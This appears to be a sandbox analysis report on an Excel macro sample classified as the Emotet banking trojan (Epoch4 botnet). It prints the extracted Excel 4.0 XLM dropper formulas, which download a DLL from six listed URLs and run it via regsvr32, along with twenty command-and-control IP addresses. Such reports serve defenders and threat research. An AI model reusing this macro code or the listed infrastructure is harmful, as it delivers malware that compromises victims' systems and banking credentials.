Overview

overview

10

Static

static

10

SecuriteIn...5.xlsm

windows7_x64

10

SecuriteIn...5.xlsm

windows10-2004_x64

10

Sharing

Copy URL Twitter E-mail

General

  • Target
    SecuriteInfo.com.Trojan.Vita.6.11655.25782
  • Size 50KB
  • Sample220331-c3kmtshbdn
  • SHA256 9e78d6dc74b334eb5028dc17bee0a1a27fe2636eeefce10ba2adc3244ac9de2b
  • MD5 SHA1 SHA512
Score
10/10
emotetepoch4bankermacrosuricatatrojanxlm

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

  • http://harleyqueretaro.com/renew2019/Back2016-12-22/cv/data/RjuiFMp4Fsp/

  • http://hoatuoiso1.com/replace/fVea/

  • https://rumkeke.com/wp-admin/A8/

  • https://www.restaurantgaig.com/wp-includes/HLDoANj/

  • http://www.grandfurniture.com/thegrandbrands/eGd55tEm9qkPNOhViP/

  • http://www.hiway91.com/wp-content/Y/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://harleyqueretaro.com/renew2019/Back2016-12-22/cv/data/RjuiFMp4Fsp/","..\rulm.dll",0,0) =IF('EGSBBB'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://hoatuoiso1.com/replace/fVea/","..\rulm.dll",0,0)) =IF('EGSBBB'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://rumkeke.com/wp-admin/A8/","..\rulm.dll",0,0)) =IF('EGSBBB'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.restaurantgaig.com/wp-includes/HLDoANj/","..\rulm.dll",0,0)) =IF('EGSBBB'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.grandfurniture.com/thegrandbrands/eGd55tEm9qkPNOhViP/","..\rulm.dll",0,0)) =IF('EGSBBB'!D20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.hiway91.com/wp-content/Y/","..\rulm.dll",0,0)) =IF('EGSBBB'!D22<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\rulm.dll") =RETURN()

Extracted

Language

  • xlm4.0

Source
URLs
  • xlm40.dropper

    http://harleyqueretaro.com/renew2019/Back2016-12-22/cv/data/RjuiFMp4Fsp/

Extracted

Family

  • emotet

Botnet

  • Epoch4

C2

  • 104.131.11.205:443

  • 138.197.109.175:8080

  • 187.84.80.182:443

  • 79.143.187.147:443

  • 189.232.46.161:443

  • 51.91.76.89:8080

  • 103.43.46.182:443

  • 206.189.28.199:8080

  • 45.176.232.124:443

  • 107.182.225.142:8080

  • 72.15.201.15:8080

  • 209.250.246.206:443

  • 164.68.99.3:8080

  • 160.16.142.56:8080

  • 134.122.66.193:8080

  • 45.118.115.99:8080

  • 183.111.227.137:8080

  • 209.126.98.206:8080

  • 1.234.2.232:8080

  • 159.65.88.10:8080

eck1.plain
ecs1.plain

Targets

    • Target
      SecuriteInfo.com.Trojan.Vita.6.11655.25782
    • Size 50KB
    • SHA256 9e78d6dc74b334eb5028dc17bee0a1a27fe2636eeefce10ba2adc3244ac9de2b
    • MD5 SHA1 SHA512
    Score
    10/10
    emotetepoch4bankersuricatatrojan

    • Emotet

      Emotet is a trojan that is primarily spread through spam emails.

      trojanbankeremotet

    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

    • suricata: ET MALWARE W32/Emotet CnC Beacon 3

      suricata: ET MALWARE W32/Emotet CnC Beacon 3

      suricata

    • Downloads MZ/PE file

    • Loads dropped DLL

    • Drops file in System32 directory

    behavioral1behavioral2

MITRE ATT&CK Enterprise v6

Tasks